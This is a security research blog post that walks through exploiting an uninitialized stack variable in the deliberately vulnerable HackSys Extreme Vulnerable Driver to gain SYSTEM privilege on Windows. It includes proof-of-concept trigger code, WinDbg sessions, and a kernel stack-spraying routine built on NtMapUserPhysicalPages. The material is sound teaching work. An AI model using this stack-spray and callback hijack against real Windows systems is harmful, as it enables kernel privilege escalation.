Uninitialized Stack Variable – Windows Kernel Exploitation

Introduction

We are going to discuss about use of Uninitialized Stack Variable vulnerability. This post will brief you about what is an uninitialized variable, what could be the adverse effect of uninitialized variable vulnerability in your code.

We will discuss this by taking example of an Uninitialized Stack Variable vulnerability implemented in HackSys Extreme Vulnerable Driver. We will understand what the problem in the code is, how we can trigger it, and finally, how we can exploit it in Kernel mode to get SYSTEMprivilege.

Uninitialized Variable

Wikipedia: In computing, an uninitialized variable is a variable that is declared but is not set to a definite known value before it is used. It will have some value, but not a predictable one. As such, it is a programming error and a common source of bugs in software.

The Vulnerability

Let’s look into the source code of the driver and understand where the vulnerability is.

UninitializedStackVariable.h

typedef struct _UNINITIALIZED_STACK_VARIABLE {
        ULONG Value;
        FunctionPointer Callback;
        ULONG Buffer[58];
} UNINITIALIZED_STACK_VARIABLE, *PUNINITIALIZED_STACK_VARIABLE;

UninitializedStackVariable.c

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
    }
    return Status;
}

You can see in the code that UninitializedStackVariable is declared but not initialized with a concrete value. But that’s not the issue, the issue arises when the code tries to call a call-backUninitializedStackVariable.Callback(), neglecting the fact that UserValue == MagicValue comparison may fail.

The call graph looks very simple and we can see the call made to an Uninitialized Variable.

Call Graph

As UninitializedStackVariable is uninitialized and is a local variable, obviously it’s on the Kernel Stack and it will contain the data placed by the functions which were called previously.

Just to be clear, the exploitability of vulnerabilities like Uninitialized Stack Variablecompletely depend on the implementation and how the uninitialized variable is used throughout the application.

In the UNINITIALIZED_STACK_VARIABLE structure definition, you can see that Callback is defined as FunctionPointer. This is of great value, in terms of exploitation.

If we can control the data on the Kernel stack, we can control UninitializedStackVariable and naturally control Callback.

Exploitation Challenges

  • Find a way to trigger the use of Uninitialized Stack Variable vulnerability in HackSys Extreme Vulnerable Driver
  • Control Kernel Stack layout/data from User Mode
  • Prevent the user controlled data on the Kernel stack from getting clobbered

Vulnerability Trigger

From the evaluation of the source code, we know that if the UserValue == MagicValue comparison fails, then the use of Unitialized Stack Variable vulnerability is triggered.

DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    ULONG MagicValue = 0xBAADF00D;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    
    __try {
        // Get the device handle
        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            exit(EXIT_FAILURE);
        }

        // trigger the vulnerability
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        exit(EXIT_FAILURE);
    }
    return EXIT_SUCCESS;
}

As you can see in the driver source code, the vulnerable code is surrounded by __try/__except block, the target Operating System won’t crash. So, we need to enable Stop On Exception flag usingGFlag.

kd> !gflag +soe
New NtGlobalFlag contents: 0x00000001
    soe - Stop On Exception
kd> g
                                                        
            ##     ## ######## ##     ## ########       
            ##     ## ##       ##     ## ##     ##      
            ##     ## ##       ##     ## ##     ##      
            ######### ######   ##     ## ##     ##      
            ##     ## ##        ##   ##  ##     ##      
            ##     ## ##         ## ##   ##     ##      
            ##     ## ########    ###    ########       
                                                        
          HackSys Extreme Vulnerable Driver Exploits    
                 Ashfaq Ansari (@HackSysTeam)           
                   ashfaq[at]payatu[dot]com             
                                                        
[+] Starting Uninitialized Stack Variable Exploitation
    [+] Creating The Exploit Thread
        [+] Exploit Thread Handle: 0x50
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAADF00D
[+] UninitializedStackVariable Address: 0x8A6CC9C8
[+] UninitializedStackVariable.Value: 0x85A1E940
[+] UninitializedStackVariable.Callback: 0x00000400
[+] Triggering Uninitialized Stack Variable Vulnerability
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000400 ??              ???

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000

Debugging Details:
------------------
PROCESS_NAME:  HackSysEVDExpl
FAULTING_IP: 
+12a
00000400 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00000400
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000400
Attempt to read from address 00000400

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_PARAMETER1:  00000000
EXCEPTION_PARAMETER2:  00000400
READ_ADDRESS:  00000400 

FOLLOWUP_IP: 
HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
89f80e82 eb21            jmp     HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0xbd (89f80ea5)

FAILED_INSTRUCTION_ADDRESS: 
+1ad2faf00bcdfc0
00000400 ??              ???

BUGCHECK_STR:  ACCESS_VIOLATION
DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO
CURRENT_IRQL:  0
LAST_CONTROL_TRANSFER:  from 89f80e82 to 00000400

STACK_TEXT:  
WARNING: Frame IP not in any known module. Following frames may be wrong.
8a6cc9b0 89f80e82 039a4375 8427c830 8427c8a0 0x400
8a6ccad4 89f80ed6 016cfb7c 8a6ccafc 89f810d2 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
8a6ccae0 89f810d2 8427c830 8427c8a0 859f31f0 HackSysExtremeVulnerableDriver!UninitializedStackVariableIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 151]
8a6ccafc 82866047 843a4030 8427c830 8427c830 HackSysExtremeVulnerableDriver!IrpDeviceIoCtlHandler+0x156 [c:\hacksysextremevulnerabledriver\driver\source\hacksysextremevulnerabledriver.c @ 283]
8a6ccb14 82a3c9d5 859f31f0 8427c830 8427c8a0 nt!IofCallDriver+0x63
8a6ccb34 82a3edc8 843a4030 859f31f0 00000000 nt!IopSynchronousServiceTail+0x1f8
8a6ccbd0 82a45d9d 843a4030 8427c830 00000000 nt!IopXxxControlFile+0x6aa
8a6ccc04 8286c87a 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8a6ccc04 771770b4 00000054 00000000 00000000 nt!KiFastCallEntry+0x12a
016cfb14 7635a671 00000054 0022202f 016cfb7c 0x771770b4
016cfb40 00042faf 00000054 0022202f 016cfb7c 0x7635a671
016cfb98 76363c45 00000000 016cfbe4 771937f5 0x42faf
016cfba4 771937f5 00000000 7643ae30 00000000 0x76363c45
016cfbe4 771937c8 00042f40 00000000 00000000 0x771937f5
016cfbfc 00000000 00042f40 00000000 00000000 0x771937c8

STACK_COMMAND:  kb

FAULTING_SOURCE_CODE:  
   118:         // Call the callback function
   119:         if (UninitializedStackVariable.Callback) {
   120:             UninitializedStackVariable.Callback();
   121:         }
>  122:     }
   123:     __except (EXCEPTION_EXECUTE_HANDLER) {
   124:         Status = GetExceptionCode();
   125:         DbgPrint("[-] Exception Code: 0x%X\n", Status);
   126:     }
   127: 

SYMBOL_STACK_INDEX:  1
SYMBOL_NAME:  HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: HackSysExtremeVulnerableDriver
IMAGE_NAME:  HackSysExtremeVulnerableDriver.sys
DEBUG_FLR_IMAGE_TIMESTAMP:  575abbc8
FAILURE_BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a

Followup: MachineOwner
---------

As you can see from WinDbg output, UninitializedStackVariable.Callback: 0x00000400 which does not seems to be a valid Callback routine address. This is a clear indication that we successfully triggered the use of Uninitialized Stack Variable vulnerability.

Just to have some more context about the bug, let’s dump the stack and validate if UninitializedStackVariable is on the stack.

kd> dps esp
8a6cc9b4  89f80e82 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
8a6cc9b8  039a4375
8a6cc9bc  8427c830
8a6cc9c0  8427c8a0
8a6cc9c4  89f81b28 HackSysExtremeVulnerableDriver! ?? ::NNGAKEGL::`string'
8a6cc9c8  85a1e940  <---- UninitializedStackVariable.Value
8a6cc9cc  00000400  <---- UninitializedStackVariable.Callback
8a6cc9d0  00000000
8a6cc9d4  000e8244
8a6cc9d8  000e833c
8a6cc9dc  000e8244
8a6cc9e0  8a6cca04

If we can control what’s placed at 0x8a6cc9cc, we can control the Instruction Pointer.

Exploitation Strategy

  • Find the offset of UninitializedStackVariable.Callback from the Kernel Stack Init
  • Somehow spray the Kernel Stack with user/attacker controlled data from User Mode
  • Prevent the offset of UninitializedStackVariable.Callback from getting clobbered

Exploitation

We will perform exploitation in multiple stages.

Finding Offset

Kernel Stack Init can be found using !thread command. Trigger the bug again and run the command in WinDbg.

kd> !thread
THREAD 8466d768  Cid 055c.00bc  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
IRP List:
    8427c830: (0006,0094) Flags: 00060000  Mdl: 00000000
Not impersonating
DeviceMap                 941095d0
Owning Process            8466d3d8       Image:         HackSysEVDExploit.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      100092         Ticks: 0
Context Switch Count      6             
UserTime                  00:00:00.000
KernelTime                00:00:00.060
Win32 Start Address 0x01242f40
Stack Init 9a4bfed0 Current 9a4bef54 Base 9a4c0000 Limit 9a4bd000 Call 0
Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

So, Kernel Stack Init = 0x9a4bfed0 and &UninitializedStackVariable.Callback = 0x9a4bf9cc.

kd> ?9a4bfed0-9a4bf9cc  
Evaluate expression: 1284 = 00000504

Hence, Offset = 0x504. You can confirm if the offset remains same by comparing the offset between multiple runs.

Now, if we can put attacker controlled data at an offset of 0x504 from Stack Init, we can hijack theInstruction Pointer.

Kernel Stack Spraying

Now the challenge is to spray the Kernel Stack with attacker controlled data from User Mode.

How can we put user controlled data on Kernel Stack from User Mode?

Well, to achieve this, we need to find an interface which takes data from User Mode and copies it to Kernel Mode Stack and does not clobber it much.

HackSys Extreme Vulnerable Driver already has two such interfaces, namedTriggerStackOverflow and TriggerStackOverflowGS.

However, you can find similar interfaces in Windows Operating System too.

One such interface was disclosed by j00ru. His post on nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques gives you a clear idea on how we can utilizent!NtMapUserPhysicalPages to spray Kernel Stack from User Mode.

We can spray upto 1024*sizeof(ULONG_PTR) using this API and this is exactly what we need to exploit this vulnerability.

Let’s update the Proof of Concept to spray the Kernel Stack with 0x41414141 and see if we control the right offset.

DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
    PULONG StackSprayBuffer = NULL;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);

    __try {
        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                             HEAP_ZERO_MEMORY,
                                             StackSprayBufferSize);

        if (!StackSprayBuffer) {
            exit(EXIT_FAILURE);
        }

        RtlFillMemory(StackSprayBuffer, StackSprayBufferSize, 0x41);

        ResolveKernelAPIs();

        NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

        HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);
        StackSprayBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

Let put a break point on the last instruction of NtMapUserPhysicalPages routine and run the PoC.

kd> u !nt+002c6d56 L1
nt!NtMapUserPhysicalPages+0x4e2:
82afdd56 c20c00          ret     0Ch
kd> bp !nt+002c6d56

Once the breakpoint is hit, we will get Kernel Stack Init address and find that value at an offset of0x504.

Breakpoint 0 hit
nt!NtMapUserPhysicalPages+0x4e2:
82afdd56 c20c00          ret     0Ch
kd> !thread
THREAD 8439fd48  Cid 03e0.072c  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
Not impersonating
DeviceMap                 941095d0
Owning Process            84419d40       Image:         HackSysEVDExploit.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      226817         Ticks: 0
Context Switch Count      52             
UserTime                  00:00:00.000
KernelTime                00:00:00.090
Win32 Start Address 0x013532c0
Stack Init 80eeded0 Current 80eed9d0 Base 80eee000 Limit 80eeb000 Call 0
Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

Now, let’s get the address of the offset we are interested in.

kd> ?80eeded0-0x504
Evaluate expression: -2131830324 = 80eed9cc

Finally, let’s dump the address to see what it holds.

kd> dd 80eed9cc L1
80eed9cc  41414141

Wow! This is so much fun. We now control the value i.e. 0x41414141 at the offset 0x504.

Don’t Clobber Me

At this point, we control the data on the Kernel Stack from User Mode. It is essential to prevent it from getting clobbered by other function calls.

To achieve this, we need to prevent any other functions from using the Kernel Stack. Just make sure that you do not perform or call any other function after spraying the Kernel Stack and triggering the vulnerability.

Even simple printf statement may clobber the Kernel Stack and exploitation will fail.

Final Exploit

During Black Hat Asia 2016 – Arsenal, I had kept a challenge to write the exploit for this particular vulnerability (Uninitialized Stack Variable).

After two months, I decided to push the exploit to HackSys Extreme Vulnerable Driverrepository on Github as I did not receive any submission.

Uninitialized Stack Variable

Closing Thoughts

I hope you all liked the post and if you all have any suggestions or feedback, please feel free to reach out to me. I’ll be happy to implement them.

This week is full of Black Hat and DefCon fever and on this occasion, I’m hosting another challenge to write the exploit for use of Uninitialized Heap Variable. Please feel free to reach out to me in case you need any help to write the exploit.

Training

An elaborated version of this post will be part of my Windows Kernel Exploitation Training Lab Manual. I will also be delivering this training at 44con and BruCon this year.

If your company is interested in hosting internal corporate training for your employees, please do get in touch with us at info[at]payatu[dot]com

Author

Ashfaq Ansari is working as Sr. Security Researcher at Payatu Technologies where he spends time experimenting and understanding different attack vectors to exploit Windows User Mode as well as Kernel Mode vulnerabilities. He likes fuzzing and a fanboy of machine learning. He is a computer enthusiast and tries to learn new things.

Ashfaq Ansari

ashfaq[at]payatu[dot]com

@HackSysTeam | Blog | null | Github

Payatu Technologies
http://payatu.com/

References

Leave a Reply

Your email address will not be published. Required fields are marked *

seventeen + seventeen =